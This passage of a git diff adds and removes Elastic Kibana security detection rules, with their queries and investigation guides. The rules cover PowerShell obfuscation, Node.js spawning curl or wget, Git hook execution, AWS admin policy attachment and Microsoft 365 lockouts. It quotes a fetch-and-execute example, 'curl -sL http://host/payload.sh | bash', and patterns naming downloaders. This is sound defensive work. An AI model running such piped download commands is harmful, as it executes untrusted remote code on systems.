user accounts to reduce unnecessary alerts.\n- PowerShell scripts that are part of legitimate security tools or monitoring solutions may trigger the rule. Identify and exclude these tools by their file path or script block ID to prevent false positives.\n- Regularly update the list of known false positives based on historical data and feedback from users to refine the detection rule and improve its accuracy.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent further spread of the potentially malicious script across the network.\n- Terminate any suspicious PowerShell processes identified by the alert to halt the execution of obfuscated scripts.\n- Conduct a thorough review of the script block text and associated file paths to identify and remove any malicious scripts or files from the system.\n- Reset credentials for any user accounts involved in the alert to mitigate the risk of compromised credentials being used for further attacks.\n- Escalate the incident to the security operations team for a deeper investigation into potential lateral movement or additional compromised systems.\n- Implement enhanced monitoring on the affected host and similar systems to detect any recurrence of obfuscation techniques or related suspicious activities.\n- Update endpoint protection and intrusion detection systems with indicators of compromise (IOCs) derived from the analysis to improve detection capabilities for similar threats in the future.\n", + "query": "from logs-windows.powershell_operational* metadata _id, _version, _index\n| where event.code == \"4104\"\n\n// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for\n| eval Esql.script_block_length = length(powershell.file.script_block_text)\n| where Esql.script_block_length > 500\n\n// replace the patterns we are looking for with the \ud83d\udd25 emoji to enable counting them\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, \"\"\"\\$\\{(\\w++`){2,}\\w++\\}\"\"\", \"\ud83d\udd25\")\n\n// count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, \"\ud83d\udd25\", \"\"))\n\n// keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| keep\n Esql.script_block_pattern_count,\n Esql.script_block_length,\n Esql.script_block_tmp,\n powershell.file.script_block_text,\n powershell.file.script_block_id,\n file.path,\n file.name,\n powershell.sequence,\n powershell.total,\n _id,\n _index,\n host.name,\n agent.id,\n user.id\n\n// Filter for scripts that match the pattern at least once\n| where Esql.script_block_pattern_count >= 1\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.script_block_length", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_pattern_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_tmp", + "type": "keyword" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "_index", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_text", + "type": "text" + }, + { + "ecs": false, + "name": "powershell.sequence", + "type": "long" + }, + { + "ecs": false, + "name": "powershell.total", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "d43f2b43-02a1-4219-8ce9-10929a32a618", + "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: PowerShell Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "d43f2b43-02a1-4219-8ce9-10929a32a618_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/d9af2479-ad13-4471-a312-f586517f1243_2.json b/packages/security_detection_engine/kibana/security_rule/d9af2479-ad13-4471-a312-f586517f1243_2.json new file mode 100644 index 00000000000..b5151722502 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/d9af2479-ad13-4471-a312-f586517f1243_2.json @@ -0,0 +1,107 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto the system.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Curl or Wget Spawned via Node.js", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Curl or Wget Spawned via Node.js\n\nThis rule flags Node.js launching curl or wget, directly or via a shell, a common technique to fetch payloads and enable command-and-control. Attackers often abuse child_process in Node apps to run \"curl -sL http://host/payload.sh | bash,\" pulling a second stage from a remote host and executing it immediately under the guise of legitimate application activity.\n\n### Possible investigation steps\n\n- Pull the full process tree and command line to extract URLs/domains, flags (e.g., -sL, -O, --insecure), and identify whether the output is piped into an interpreter, indicating immediate execution risk.\n- Correlate with file system activity to find newly created or modified artifacts (e.g., in /tmp, /var/tmp, /dev/shm, or the app directory), then hash and scan them and check for follow-on executions.\n- Pivot to network telemetry to enumerate connections around the event from both Node.js and the child process, assessing destination reputation (IP/domain, ASN, geo, cert/SNI) against approved update endpoints.\n- Trace the initiating Node.js code path and deployment (child_process usage such as exec/spawn/execFile), and review package.json lifecycle scripts and recent npm installs or postinstall hooks for unauthorized download logic.\n- Verify user and runtime context (service account/container/pod), inspect environment variables like HTTP(S)_PROXY/NO_PROXY, and check whether credentials or tokens were passed to curl/wget to assess exposure.\n\n### False positive analysis\n\n- A legitimate Node.js service executes curl or wget to retrieve configuration files, certificates, or perform health checks against approved endpoints during startup or routine operation.\n- Node.js install or maintenance scripts use a shell with -c to run curl or wget and download application assets or updates, triggering the rule even though this aligns with expected deployment workflows.\n\n### Response and remediation\n\n- Immediately isolate the affected host or container, stop the Node.js service that invoked curl/wget (and any parent shell), terminate those processes, and block the exact URLs/domains/IPs observed in the command line and active connections.\n- Quarantine and remove any artifacts dropped by the downloader (e.g., files in /tmp, /var/tmp, /dev/shm or paths specified by -O), delete added cron/systemd entries referencing those files, and revoke API tokens or credentials exposed in the command line or headers.\n- Escalate to full incident response if output was piped to an interpreter (curl ... | bash or wget ... | sh), if --insecure/-k or self-signed endpoints were used, if unknown external infrastructure was contacted, or if secrets were accessed or exfiltrated.\n- Rebuild and redeploy the workload from a known-good image, remove the malicious child_process code path from the Node.js application, restore validated configs/data, rotate any keys or tokens used by that service, and verify no further curl/wget spawns occur post-recovery.\n- Harden by removing curl/wget from runtime images where not required, enforcing egress allowlists for the service, constraining execution with AppArmor/SELinux/seccomp and least-privilege service accounts, and adding CI/CD checks to block package.json postinstall scripts or code that shells out to downloaders.\n", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"ProcessRollup2\") and process.parent.name == \"node\" and (\n (\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and\n process.args == \"-c\" and process.command_line like~ (\"*curl*\", \"*wget*\")\n ) or \n (\n process.name in (\"curl\", \"wget\")\n )\n)\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "d9af2479-ad13-4471-a312-f586517f1243", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Command and Control", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [ + { + "id": "T1071", + "name": "Application Layer Protocol", + "reference": "https://attack.mitre.org/techniques/T1071/", + "subtechnique": [ + { + "id": "T1071.001", + "name": "Web Protocols", + "reference": "https://attack.mitre.org/techniques/T1071/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 2 + }, + "id": "d9af2479-ad13-4471-a312-f586517f1243_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/dc61f382-dc0c-4cc0-a845-069f2a071704_106.json b/packages/security_detection_engine/kibana/security_rule/dc61f382-dc0c-4cc0-a845-069f2a071704_106.json new file mode 100644 index 00000000000..f8eec565695 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/dc61f382-dc0c-4cc0-a845-069f2a071704_106.json @@ -0,0 +1,157 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects the execution of a potentially malicious process from a Git hook. Git hooks are scripts that Git executes before or after events such as: commit, push, and receive. An attacker can abuse Git hooks to execute arbitrary commands on the system and establish persistence.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-sentinel_one_cloud_funnel.*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Git Hook Command Execution", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Git Hook Command Execution\n\nGit hooks are scripts that automate tasks by executing before or after Git events like commits or pushes. While useful for developers, adversaries can exploit them to run malicious commands, gaining persistence or evading defenses. The detection rule identifies suspicious processes initiated by Git hooks, focusing on shell executions, to flag potential abuse on Linux systems.\n\n### Possible investigation steps\n\n- Review the alert details to identify the specific Git hook script path and the suspicious process name that was executed, as indicated by the process.args and process.name fields.\n- Examine the process tree to understand the parent-child relationship, focusing on the process.parent.name and process.entity_id fields, to determine how the suspicious process was initiated.\n- Check the Git repository's history and recent changes to the .git/hooks directory to identify any unauthorized modifications or additions to the hook scripts.\n- Investigate the user account associated with the process execution to determine if the activity aligns with their typical behavior or if it indicates potential compromise.\n- Analyze the command-line arguments and environment variables of the suspicious process to gather more context on the nature of the executed command.\n- Correlate this event with other security alerts or logs from the same host.id to identify any patterns or additional indicators of compromise.\n- If possible, isolate the affected system and conduct a deeper forensic analysis to uncover any further malicious activity or persistence mechanisms.\n\n### False positive analysis\n\n- Developers using Git hooks for legitimate automation tasks may trigger this rule. To manage this, identify and document common scripts used in your development environment and create exceptions for these known benign processes.\n- Continuous integration and deployment (CI/CD) systems often utilize Git hooks to automate workflows. Review the processes initiated by these systems and exclude them from detection if they are verified as non-malicious.\n- Custom scripts executed via Git hooks for project-specific tasks can also cause false positives. Collaborate with development teams to catalog these scripts and adjust the detection rule to exclude them.\n- Frequent updates or changes in Git repositories might lead to repeated triggering of the rule. Monitor these activities and, if consistent and verified as safe, consider adding them to an allowlist to reduce noise.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement.\n- Terminate any suspicious processes identified as being executed from Git hooks, especially those involving shell executions.\n- Conduct a thorough review of the .git/hooks directory on the affected system to identify and remove any unauthorized or malicious scripts.\n- Restore any modified or deleted files from a known good backup to ensure system integrity.\n- Implement monitoring for any future modifications to the .git/hooks directory to detect unauthorized changes promptly.\n- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected.\n- Review and update access controls and permissions for Git repositories to limit the ability to modify hooks to trusted users only.", + "query": "sequence by host.id with maxspan=3s\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\", \"ProcessRollup2\") and\n process.parent.name == \"git\" and process.args : \".git/hooks/*\" and\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")\n ] by process.entity_id\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\", \"ProcessRollup2\") and\n process.parent.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")] by process.parent.entity_id\n", + "references": [ + "https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-git", + "https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "sentinel_one_cloud_funnel", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "dc61f382-dc0c-4cc0-a845-069f2a071704", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Tactic: Execution", + "Tactic: Defense Evasion", + "Data Source: Elastic Defend", + "Data Source: SentinelOne", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1543", + "name": "Create or Modify System Process", + "reference": "https://attack.mitre.org/techniques/T1543/" + }, + { + "id": "T1574", + "name": "Hijack Execution Flow", + "reference": "https://attack.mitre.org/techniques/T1574/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [] + } + ], + "type": "eql", + "version": 106 + }, + "id": "dc61f382-dc0c-4cc0-a845-069f2a071704_106", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/dde13d58-bc39-4aa0-87fd-b4bdbf4591da_4.json b/packages/security_detection_engine/kibana/security_rule/dde13d58-bc39-4aa0-87fd-b4bdbf4591da_4.json deleted file mode 100644 index 524b29cd4fe..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/dde13d58-bc39-4aa0-87fd-b4bdbf4591da_4.json +++ /dev/null @@ -1,86 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised IAM roles. This rule looks for use of the IAM `AttachRolePolicy` API operation to attach the highly permissive `AdministratorAccess` AWS managed policy to an existing IAM role.", - "false_positives": [ - "While this can be normal behavior, it should be investigated to ensure validity. Verify whether the user identity should be using the IAM `AttachRolePolicy` API operation to attach the `AdministratorAccess` policy to the target role." - ], - "from": "now-6m", - "language": "esql", - "license": "Elastic License v2", - "name": "AWS IAM AdministratorAccess Policy Attached to Role", - "note": "## Triage and analysis\n\n### Investigating AWS IAM AdministratorAccess Policy Attached to Role\n\nThe AWS IAM `AdministratorAccess` managed policy provides full access to all AWS services and resources.\nWith access to the `iam:AttachRolePolicy` permission, a set of compromised credentials could be used to attach\nthis policy to a compromised role for privilege escalation or as a means of persistence. This rule uses [ES|QL](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-esql-rule)\nto look for use of the `AttachRolePolicy` operation along with request_parameters where the policyName is `AdministratorAccess`.\n\n\n#### Possible investigation steps\n\n- Identify the account and its role in the environment.\n- Review IAM permission policies for the user identity.\n- Identify the applications or users that should use this account.\n- Investigate other alerts associated with the account during the past 48 hours.\n- Investigate abnormal values in the `user_agent.original` field by comparing them with the intended and authorized usage and historical data. Suspicious user agent values include non-SDK, AWS CLI, custom user agents, etc.\n- Contact the account owner and confirm whether they are aware of this activity.\n- Considering the source IP address and geolocation of the user who issued the command:\n - Do they look normal for the calling user?\n - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control?\n - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.\n - Determine what other API calls were made by the user.\n - Assess whether this behavior is prevalent in the environment by looking for similar occurrences involving other users.\n\n### False positive analysis\n\n- False positives may occur due to the intended usage of the IAM `AdministratorAccess` managed policy. Verify the `aws.cloudtrail.user_identity.arn` should have the `iam:AttachRolePolicy` permission and that the `role.name` should be given full administrative access.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n - Rotate user credentials\n - Remove the `AdministratorAccess` policy from the affected role(s)\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Assess the criticality of affected services and servers.\n - Work with your IT team to identify and minimize the impact on users.\n - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified.\n - Rotate secrets or delete API keys as needed to revoke the attacker's access to the environment.\n - Work with your IT teams to minimize the impact on business operations during these actions.\n- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users.\n- Consider enabling multi-factor authentication for users.\n- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed.\n- Implement security best practices [outlined](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/) by AWS.\n- Take the actions needed to return affected systems, data, or services to their normal operational levels.\n- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws.cloudtrail-* metadata _id, _version, _index\n| where event.provider == \"iam.amazonaws.com\" and event.action == \"AttachRolePolicy\" and event.outcome == \"success\"\n| dissect aws.cloudtrail.request_parameters \"{%{?policyArn}=%{?arn}:%{?aws}:%{?iam}::%{?aws}:%{?policy}/%{policyName},%{?roleName}=%{role.name}}\"\n| where policyName == \"AdministratorAccess\"\n| keep @timestamp, event.provider, event.action, event.outcome, policyName, role.name\n", - "references": [ - "https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachRolePolicy.html", - "https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html", - "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/" - ], - "risk_score": 47, - "rule_id": "dde13d58-bc39-4aa0-87fd-b4bdbf4591da", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS IAM", - "Use Case: Identity and Access Audit", - "Tactic: Privilege Escalation", - "Tactic: Persistence", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0004", - "name": "Privilege Escalation", - "reference": "https://attack.mitre.org/tactics/TA0004/" - }, - "technique": [ - { - "id": "T1098", - "name": "Account Manipulation", - "reference": "https://attack.mitre.org/techniques/T1098/", - "subtechnique": [ - { - "id": "T1098.003", - "name": "Additional Cloud Roles", - "reference": "https://attack.mitre.org/techniques/T1098/003/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1098", - "name": "Account Manipulation", - "reference": "https://attack.mitre.org/techniques/T1098/", - "subtechnique": [ - { - "id": "T1098.003", - "name": "Additional Cloud Roles", - "reference": "https://attack.mitre.org/techniques/T1098/003/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 4 - }, - "id": "dde13d58-bc39-4aa0-87fd-b4bdbf4591da_4", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/de67f85e-2d43-11f0-b8c9-f661ea17fbcc_5.json b/packages/security_detection_engine/kibana/security_rule/de67f85e-2d43-11f0-b8c9-f661ea17fbcc_5.json new file mode 100644 index 00000000000..3633d79572f --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/de67f85e-2d43-11f0-b8c9-f661ea17fbcc_5.json @@ -0,0 +1,152 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts.", + "from": "now-9m", + "interval": "8m", + "language": "esql", + "license": "Elastic License v2", + "name": "Multiple Microsoft 365 User Account Lockouts in Short Time Window", + "note": "## Triage and Analysis\n\n### Investigating Multiple Microsoft 365 User Account Lockouts in Short Time Window\n\nDetects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts.\n\nThis rule uses ESQL aggregations and thus has dynamically generated fields. Correlation of the values in the alert document may need to be performed to the original sign-in and Graph events for further context.\n\n### Investigation Steps\n\n- Review the `user_id_list`: Are specific naming patterns targeted (e.g., admin, helpdesk)?\n- Examine `ip_list` and `source_orgs`: Look for suspicious ISPs or hosting providers.\n- Check `duration_seconds`: A very short window with a high lockout rate often indicates automation.\n- Confirm lockout policy thresholds with IAM or Entra ID admins. Did the policy trigger correctly?\n- Use the `first_seen` and `last_seen` values to pivot into related authentication or audit logs.\n- Correlate with any recent detection of password spraying or credential stuffing activity.\n- Review the `request_type` field to identify which authentication methods were used (e.g., OAuth, SAML, etc.).\n- Check for any successful logins from the same IP or ASN after the lockouts.\n\n### False Positive Analysis\n\n- Automated systems with stale credentials may cause repeated failed logins.\n- Legitimate bulk provisioning or scripted tests could unintentionally cause account lockouts.\n- Red team exercises or penetration tests may resemble the same lockout pattern.\n- Some organizations may have a high volume of lockouts due to user behavior or legacy systems.\n\n### Response Recommendations\n\n- Notify affected users and confirm whether activity was expected or suspicious.\n- Lock or reset credentials for impacted accounts.\n- Block the source IP(s) or ASN temporarily using conditional access or firewall rules.\n- Strengthen lockout and retry delay policies if necessary.\n- Review the originating application(s) involved via `request_types`.\n", + "query": "from logs-o365.audit-*\n| mv_expand event.category\n| eval\n Esql.time_window_date_trunc = date_trunc(5 minutes, @timestamp)\n| where\n event.dataset == \"o365.audit\" and\n event.category == \"authentication\" and\n event.provider in (\"AzureActiveDirectory\", \"Exchange\") and\n event.action in (\"UserLoginFailed\", \"PasswordLogonInitialAuthUsingPassword\") and\n to_lower(o365.audit.ExtendedProperties.RequestType) rlike \"(oauth.*||.*login.*)\" and\n o365.audit.LogonError == \"IdsLocked\" and\n to_lower(o365.audit.UserId) != \"not available\" and\n o365.audit.Target.Type in (\"0\", \"2\", \"6\", \"10\") and\n source.`as`.organization.name != \"MICROSOFT-CORP-MSN-as-BLOCK\"\n| stats\n Esql_priv.o365_audit_UserId_count_distinct = count_distinct(to_lower(o365.audit.UserId)),\n Esql_priv.o365_audit_UserId_values = values(to_lower(o365.audit.UserId)),\n Esql.source_ip_values = values(source.ip),\n Esql.source_ip_count_distinct = count_distinct(source.ip),\n Esql.source_as_organization_name_values = values(source.`as`.organization.name),\n Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name),\n Esql.source_geo_country_name_values = values(source.geo.country_name),\n Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name),\n Esql.o365_audit_ExtendedProperties_RequestType_values = values(to_lower(o365.audit.ExtendedProperties.RequestType)),\n Esql.timestamp_first_seen = min(@timestamp),\n Esql.timestamp_last_seen = max(@timestamp),\n Esql.event_count = count(*)\n by Esql.time_window_date_trunc\n| eval\n Esql.event_duration_seconds = date_diff(\"seconds\", Esql.timestamp_first_seen, Esql.timestamp_last_seen)\n| keep\n Esql.time_window_date_trunc,\n Esql_priv.o365_audit_UserId_count_distinct,\n Esql_priv.o365_audit_UserId_values,\n Esql.source_ip_values,\n Esql.source_ip_count_distinct,\n Esql.source_as_organization_name_values,\n Esql.source_as_organization_name_count_distinct,\n Esql.source_geo_country_name_values,\n Esql.source_geo_country_name_count_distinct,\n Esql.o365_audit_ExtendedProperties_RequestType_values,\n Esql.timestamp_first_seen,\n Esql.timestamp_last_seen,\n 